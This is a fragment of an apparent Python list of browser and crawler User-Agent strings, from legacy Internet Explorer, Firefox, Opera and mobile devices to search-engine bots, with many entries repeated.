'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
